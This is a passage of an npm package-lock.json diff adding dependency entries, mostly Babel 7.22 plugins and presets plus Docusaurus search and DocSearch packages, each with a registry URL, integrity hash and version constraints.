"https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.22.5.tgz", + "integrity": "sha512-Kk3lyDmEslH9DnvCDA1s1kkd3YWQITiBOHngOtDL9Pt6BZjzqb6hiOlb8VfjiiQJ2unmegBqZu0rx5RxJb5vmQ==", + "dependencies": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.22.5.tgz", + "integrity": "sha512-pH8orJahy+hzZje5b8e2QIlBWQvGpelS76C63Z+jhZKsmzfNaPQ+LaW6dcJ9bxTpo1mtXbgHwy765Ro3jftmUg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.10.tgz", + "integrity": "sha512-MMkQqZAZ+MGj+jGTG3OTuhKeBpNcO+0oCEbrGNEaOmiEn+1MzRyQlYsruGiU8RTK3zV6XwrVJTmwiDOyYK6J9g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz", + "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.22.5.tgz", + "integrity": "sha512-PPjh4gyrQnGe97JTalgRGMuU4icsZFnWkzicB/fUtzlKUqvsWBKEpPPfr5a2JiyirZkHxnAqkQMO5Z5B2kK3fA==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.22.5.tgz", + "integrity": "sha512-/9xnaTTJcVoBtSSmrVyhtSvO3kbqS2ODoh2juEU72c3aYonNF0OMGiaz2gjukyKM2wBBYJP38S4JiE0Wfb5VMQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-constant-elements": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.22.5.tgz", + "integrity": "sha512-BF5SXoO+nX3h5OhlN78XbbDrBOffv+AxPP2ENaJOVqjWCgBDeOY3WcaUcddutGSfoap+5NEQ/q/4I3WZIvgkXA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.22.5.tgz", + "integrity": "sha512-PVk3WPYudRF5z4GKMEYUrLjPl38fJSKNaEOkFuoprioowGuWN6w2RKznuFNSlJx7pzzXXStPUnNSOEO0jL5EVw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.22.5.tgz", + "integrity": "sha512-rog5gZaVbUip5iWDMTYbVM15XQq+RkUKhET/IHR6oizR+JEoN6CAfTTuHcK4vwUyzca30qqHqEpzBOnaRMWYMA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz", + "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==", + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.22.5.tgz", + "integrity": "sha512-gP4k85wx09q+brArVinTXhWiyzLl9UpmGva0+mWyKxk6JZequ05x3eUcIUE+FyttPKJFRRVtAvQaJ6YF9h1ZpA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.10.tgz", + "integrity": "sha512-F28b1mDt8KcT5bUyJc/U9nwzw6cV+UmTeRlXYIl2TNqMMJif0Jeey9/RQ3C4NOd2zp0/TRsDns9ttj2L523rsw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.22.10.tgz", + "integrity": "sha512-RchI7HePu1eu0CYNKHHHQdfenZcM4nz8rew5B1VWqeRKdcwW5aQ5HeG9eTUbWiAS1UrmHVLmoxTWHt3iLD/NhA==", + "dependencies": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.5", + "babel-plugin-polyfill-corejs3": "^0.8.3", + "babel-plugin-polyfill-regenerator": "^0.5.2", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.22.10.tgz", + "integrity": "sha512-7++c8I/ymsDo4QQBAgbraXLzIM6jmfao11KgIBEYZRReWzNWH9NtNgJcyrZiXsOPh523FQm6LfpLyy/U5fn46A==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.10", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-typescript": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.10.tgz", + "integrity": "sha512-lRfaRKGZCBqDlRU3UIFovdp9c9mEvlylmpod0/OatICsSfuQ9YFthRo1tpTkGsklEefZdqlEFdY4A2dwTb6ohg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.22.5.tgz", + "integrity": "sha512-HCCIb+CbJIAE6sXn5CjFQXMwkCClcOfPCzTlilJ8cUatfzwHlWQkbtV0zD338u9dZskwvuOYTuuaMaA8J5EI5A==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.22.5.tgz", + "integrity": "sha512-lhMfi4FC15j13eKrh3DnYHjpGj6UKQHtNKTbtc1igvAhRy4+kLhV07OpLcsN0VgDEw/MjAvJO4BdMJsHwMhzCg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.22.10.tgz", + "integrity": "sha512-riHpLb1drNkpLlocmSyEg4oYJIQFeXAK/d7rI6mbD0XsvoTOOweXDmQPG/ErxsEhWk3rl3Q/3F6RFQlVFS8m0A==", + "dependencies": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-compilation-targets": "^7.22.10", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.22.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.22.5", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.22.5", + "@babel/plugin-syntax-import-attributes": "^7.22.5", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.22.5", + "@babel/plugin-transform-async-generator-functions": "^7.22.10", + "@babel/plugin-transform-async-to-generator": "^7.22.5", + "@babel/plugin-transform-block-scoped-functions": "^7.22.5", + "@babel/plugin-transform-block-scoping": "^7.22.10", + "@babel/plugin-transform-class-properties": "^7.22.5", + "@babel/plugin-transform-class-static-block": "^7.22.5", + "@babel/plugin-transform-classes": "^7.22.6", + "@babel/plugin-transform-computed-properties": "^7.22.5", + "@babel/plugin-transform-destructuring": "^7.22.10", + "@babel/plugin-transform-dotall-regex": "^7.22.5", + "@babel/plugin-transform-duplicate-keys": "^7.22.5", + "@babel/plugin-transform-dynamic-import": "^7.22.5", + "@babel/plugin-transform-exponentiation-operator": "^7.22.5", + "@babel/plugin-transform-export-namespace-from": "^7.22.5", + "@babel/plugin-transform-for-of": "^7.22.5", + "@babel/plugin-transform-function-name": "^7.22.5", + "@babel/plugin-transform-json-strings": "^7.22.5", + "@babel/plugin-transform-literals": "^7.22.5", + "@babel/plugin-transform-logical-assignment-operators": "^7.22.5", + "@babel/plugin-transform-member-expression-literals": "^7.22.5", + "@babel/plugin-transform-modules-amd": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-modules-systemjs": "^7.22.5", + "@babel/plugin-transform-modules-umd": "^7.22.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.22.5", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.22.5", + "@babel/plugin-transform-numeric-separator": "^7.22.5", + "@babel/plugin-transform-object-rest-spread": "^7.22.5", + "@babel/plugin-transform-object-super": "^7.22.5", + "@babel/plugin-transform-optional-catch-binding": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.10", + "@babel/plugin-transform-parameters": "^7.22.5", + "@babel/plugin-transform-private-methods": "^7.22.5", + "@babel/plugin-transform-private-property-in-object": "^7.22.5", + "@babel/plugin-transform-property-literals": "^7.22.5", + "@babel/plugin-transform-regenerator": "^7.22.10", + "@babel/plugin-transform-reserved-words": "^7.22.5", + "@babel/plugin-transform-shorthand-properties": "^7.22.5", + "@babel/plugin-transform-spread": "^7.22.5", + "@babel/plugin-transform-sticky-regex": "^7.22.5", + "@babel/plugin-transform-template-literals": "^7.22.5", + "@babel/plugin-transform-typeof-symbol": "^7.22.5", + "@babel/plugin-transform-unicode-escapes": "^7.22.10", + "@babel/plugin-transform-unicode-property-regex": "^7.22.5", + "@babel/plugin-transform-unicode-regex": "^7.22.5", + "@babel/plugin-transform-unicode-sets-regex": "^7.22.5", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "@babel/types": "^7.22.10", + "babel-plugin-polyfill-corejs2": "^0.4.5", + "babel-plugin-polyfill-corejs3": "^0.8.3", + "babel-plugin-polyfill-regenerator": "^0.5.2", + "core-js-compat": "^3.31.0", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.22.5.tgz", + "integrity": "sha512-M+Is3WikOpEJHgR385HbuCITPTaPRaNkibTEa9oiofmJvIsrceb4yp9RL9Kb+TE8LznmeyZqpP+Lopwcx59xPQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-transform-react-display-name": "^7.22.5", + "@babel/plugin-transform-react-jsx": "^7.22.5", + "@babel/plugin-transform-react-jsx-development": "^7.22.5", + "@babel/plugin-transform-react-pure-annotations": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.22.5.tgz", + "integrity": "sha512-YbPaal9LxztSGhmndR46FmAbkJ/1fAsw293tSU+I5E5h+cnJ3d4GTwyUgGYmOXJYdGA+uNePle4qbaRzj2NISQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-typescript": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==" + }, + "node_modules/@babel/runtime": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.10.tgz", + "integrity": "sha512-21t/fkKLMZI4pqP2wlmsQAWnYW1PDyKyyUV4vCi+B25ydmdaYTKXPwCj0BzSUnZf4seIiYvSA3jcZ3gdsMFkLQ==", + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime-corejs3": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.22.10.tgz", + "integrity": "sha512-IcixfV2Jl3UrqZX4c81+7lVg5++2ufYJyAFW3Aux/ZTvY6LVYYhJ9rMgnbX0zGVq6eqfVpnoatTjZdVki/GmWA==", + "dependencies": { + "core-js-pure": "^3.30.2", + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz", + "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==", + "dependencies": { + "@babel/code-frame": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.10.tgz", + "integrity": "sha512-Q/urqV4pRByiNNpb/f5OSv28ZlGJiFiiTh+GAHktbIrkPhPbl90+uW6SmpoLyZqutrg9AEaEf3Q/ZBRHBXgxig==", + "dependencies": { + "@babel/code-frame": "^7.22.10", + "@babel/generator": "^7.22.10", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.10", + "@babel/types": "^7.22.10", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.10.tgz", + "integrity": "sha512-obaoigiLrlDZ7TUQln/8m4mSqIW2QFeOrCQc9r+xsaHGNoplVNYlRVpsfE8Vj35GEm2ZH4ZhrNYogs/3fj85kg==", + "dependencies": { + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@cmfcmf/docusaurus-search-local": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@cmfcmf/docusaurus-search-local/-/docusaurus-search-local-1.1.0.tgz", + "integrity": "sha512-0IVb/aA0IK8ZlktuxmgXmluXfcSpo6Vdd2nG21y1aOH9nVYnPP231Dn0H8Ng9Qf9ronQQCDWHnuWpYOr9rUrEQ==", + "dependencies": { + "@algolia/autocomplete-js": "^1.8.2", + "@algolia/autocomplete-theme-classic": "^1.8.2", + "@algolia/client-search": "^4.12.0", + "algoliasearch": "^4.12.0", + "cheerio": "^1.0.0-rc.9", + "clsx": "^1.1.1", + "lunr-languages": "^1.4.0", + "mark.js": "^8.11.1" + }, + "peerDependencies": { + "@docusaurus/core": "^2.0.0", + "nodejieba": "^2.5.0" + }, + "peerDependenciesMeta": { + "nodejieba": { + "optional": true + } + } + }, + "node_modules/@colors/colors": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@discoveryjs/json-ext": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@docsearch/css": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/@docsearch/css/-/css-3.5.2.tgz", + "integrity": "sha512-SPiDHaWKQZpwR2siD0KQUwlStvIAnEyK6tAE2h2Wuoq8ue9skzhlyVQ1ddzOxX6khULnAALDiR/isSF3bnuciA==" + }, + "node_modules/@docsearch/react": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/@docsearch/react/-/react-3.5.2.tgz", + "integrity": "sha512-9Ahcrs5z2jq/DcAvYtvlqEBHImbm4YJI8M9y0x6Tqg598P40HTEkX7hsMcIuThI+hTFxRGZ9hll0Wygm2yEjng==", + "dependencies": { + "@algolia/autocomplete-core": "1.9.3", + "@algolia/autocomplete-preset-algolia": "1.9.3", + "@docsearch/css": "3.5.2", + "algoliasearch": "^4.19.1" + }, + "peerDependencies": { + "@types/react": ">= 16.8.0 < 19.0.0", + "react": ">= 16.8.0 < 19.0.0", + "react-dom": ">= 16.8.0 < 19.0.0", + "search-insights": ">= 1 < 3" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "react": { + "optional": true + }, + "react-dom": { + "optional": true + }, + "search-insights": { + "optional": true + } + } + }, + 